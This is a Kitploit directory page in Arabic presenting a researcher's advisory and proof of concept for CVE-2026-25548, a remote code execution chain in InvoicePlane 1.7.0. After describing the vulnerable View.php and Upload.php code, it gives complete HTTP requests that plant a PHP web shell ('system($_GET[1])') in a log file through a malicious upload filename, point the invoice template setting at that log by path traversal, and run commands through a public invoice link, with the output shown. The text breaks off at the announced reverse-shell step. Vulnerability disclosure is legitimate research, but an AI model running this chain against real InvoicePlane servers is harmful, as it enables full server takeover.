Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25548 — # تفاصيل تقنية وإثبات مفهوم لـ CVE-2026-25548، ثغرة تنفيذ أوامر عن بُعد حرجة في InvoicePlane 1.7.0 عبر تضمين الملفات المحلية وتسميم السجلات، بما في ذلك سلسلة الهجوم وطلبات إثبات المفهوم وتحليل الأثر. | Kitploit
أدوات/GitHubGitHub/lagathos/cve-2026-25548
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHublagathos/cve-2026-25548

CVE-2026-25548

# تفاصيل تقنية وإثبات مفهوم لـ CVE-2026-25548، ثغرة تنفيذ أوامر عن بُعد حرجة في InvoicePlane 1.7.0 عبر تضمين الملفات المحلية وتسميم السجلات، بما في ذلك سلسلة الهجوم وطلبات إثبات المفهوم وتحليل الأثر.

عرض المستودع
19منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25548 — تنفيذ الأوامر عن بُعد في InvoicePlane 1.7.0

الثغرة: تنفيذ الأوامر عن بُعد عبر تضمين الملفات المحلية + تسميم السجلات

المنتج: InvoicePlane

الإصدار المتأثر: 1.7.0 (ومن المحتمل الإصدارات السابقة)

الخطورة: حرجة

درجة CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

اكتشفها: Leonidas Agathos

تاريخ التقرير: 2026-01-31


جدول المحتويات

  • الوصف
  • تفاصيل الثغرة
    • 1. تضمين الملفات المحلية (LFI)
    • 2. تسميم السجلات عبر اسم الملف المرفوع
  • سلسلة الهجوم
  • إثبات المفهوم
    • الخطوة 1 — تسميم السجلات
    • الخطوة 2 — تكوين LFI
    • الخطوة 3 — تشغيل RCE
    • الخطوة 4 — الصدفة العكسية
  • الأثر
  • المكونات المتأثرة
  • الجدول الزمني

الوصف

سلسلة ثغرات حرجة في InvoicePlane 1.7.0 تسمح لمسؤول مصادق بتحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم الأساسي. يجمع الهجوم بين ضعفين:

  1. تضمين الملفات المحلية (LFI) — إعداد قالب الفاتورة العامة يقبل مسارات ملفات عشوائية دون أي تحقق، مما يسمح بتضمين ملفات خارج دليل القوالب المقصود.
  2. تسميم السجلات — أسماء الملفات المرفوعة التي تحتوي على أحرف اجتياز المسار تُكتب حرفيًا في ملفات سجلات CodeIgniter بامتداد .php، مما يسمح بحقن كود PHP عشوائي.

عند دمجها، يمكن لمهاجم بصلاحيات مسؤول تحقيق اختراق كامل للخادم كمستخدم خادم الويب. مشغل RCE النهائي غير مصادق (رابط الفاتورة العامة).


تفاصيل الثغرة

1. تضمين الملفات المحلية (LFI)

السمةالقيمة
الملفapplication/modules/guest/controllers/View.php
الأسطر85, 191
المعاملpublic_invoice_template (إعداد قاعدة البيانات)
CWECWE-98: تحكم غير صحيح في اسم الملف لعبارة Include/Require

الكود المعرض للثغرة (View.php:85):

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

الكود المعرض للثغرة (View.php:191):

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

يتم استرداد إعدادات public_invoice_template و public_quote_template من قاعدة البيانات وربطها مباشرة في مسار ملف يُمرر إلى load->view() الخاص بـ CodeIgniter (والذي يتحول إلى include() في PHP). لا يوجد أي تحقق من:

  • منع تسلسلات اجتياز الدليل (../)
  • القائمة البيضاء لأسماء القوالب المسموحة
  • التأكد من وجود الملف داخل دليل القوالب المتوقع

يمكن للمسؤول تعيين هذه القيمة إلى أي مسار على نظام الملفات، مقيدًا فقط بامتداد .php الذي يُضاف تلقائيًا.


2. تسميم السجلات عبر اسم الملف المرفوع

السمةالقيمة
الملفapplication/modules/upload/controllers/Upload.php
الأسطر178–184
المعاملاسم الملف المرفوع (بيانات نموذج HTTP متعدد الأجزاء)
CWECWE-117: تحييد مخرجات غير صحيح للسجلات

الكود المعرض للثغرة (Upload.php:178-184):

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

عندما يؤدي اسم الملف إلى تشغيل فحص اجتياز المسار، يتم كتابة اسم الملف الخام غير المعقم مباشرة في ملف السجل. ملفات سجلات CodeIgniter:

  • تستخدم امتداد .php: application/logs/log-YYYY-MM-DD.php
  • تبدأ بـ <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • وبالتالي فهي ملفات PHP صالحة يتم تنفيذها عند تضمينها

المهاجم الذي يضمّن <?php system($_GET[1]); ?> في اسم الملف يتسبب في كتابة هذا الحمولة في السجل وتنفيذه لاحقًا عبر LFI.


سلسلة الهجوم

[مستخدم مصادق]  →  رفع اسم ملف خبيث  →  حقن PHP في ملف السجل
[مسؤول]               →  تعيين إعداد القالب        →  LFI يشير إلى ملف السجل
[أي شخص]              →  زيارة رابط الفاتورة العامة    →  RCE
الخطوةالمتطلب
تسميم السجلاتمستخدم مصادق بصلاحية رفع الملفات
تكوين LFIحساب مسؤول
مشغل RCEغير مصادق (رابط الفاتورة العامة)

إثبات المفهوم

الخطوة 1 — تسميم السجلات

أرسل طلب رفع ملف مع قشرة ويب PHP مضمّنة في اسم الملف. سيعمل فحص اجتياز المسار ويكتب اسم الملف الخام (بما في ذلك حمولة PHP) إلى ملف السجل.

الطلب (عبر Burp Suite):

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

يرفض الخادم الرفع (upload_error_invalid_extension) ولكن إدخال السجل يُكتب بالفعل:

النتيجة في application/logs/log-2026-01-31.php:

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

انتقل إلى قسم المرفقات في فاتورة وانقر على إضافة ملفات للوصول إلى نقطة نهاية الرفع.

الخطوة 1أ - نقطة إدخال رفع مرفقات الفاتورة

الخطوة 1ب - حقن حمولة PHP عبر اسم ملف خبيث

الخطوة 1ج - ملف السجل يعرض حمولة PHP المحقونة


الخطوة 2 — تكوين LFI

كمسؤول، قم بتعيين إعداد public_invoice_template للإشارة إلى ملف سجل اليوم باستخدام حمولة اجتياز المسار. مُحمّل العرض في CodeIgniter يضيف .php تلقائيًا.

الطلب (عبر Burp Suite):

POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

يتم حل مسار الاجتياز من application/views/invoice_templates/public/ إلى application/logs/، ثم يتضمن log-2026-01-31.php.

الخطوة 2 - تعيين public_invoice_template إلى مسار ملف السجل عبر Burp Suite


الخطوة 3 — تشغيل RCE

قم بالوصول إلى أي رابط فاتورة عامة مع تمرير أمر كمعامل GET 1. لا يتطلب ذلك أي مصادقة.

الطلب:

GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12

الاستجابة (في مصدر الصفحة):

Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg

حمولة system($_GET[1]) تنفذ أمر id وينعكس مخرجه مباشرة في الصفحة.

الخطوة 3 - مخرجات الأمر منعكسة في استجابة HTTP عبر رابط الفاتورة العامة


الخطوة 4 — الصدفة العكسية

استبدل الأمر بحمولة صدفة عكسية bash للحصول على صدفة تفاعلية:

تنزيل الأداة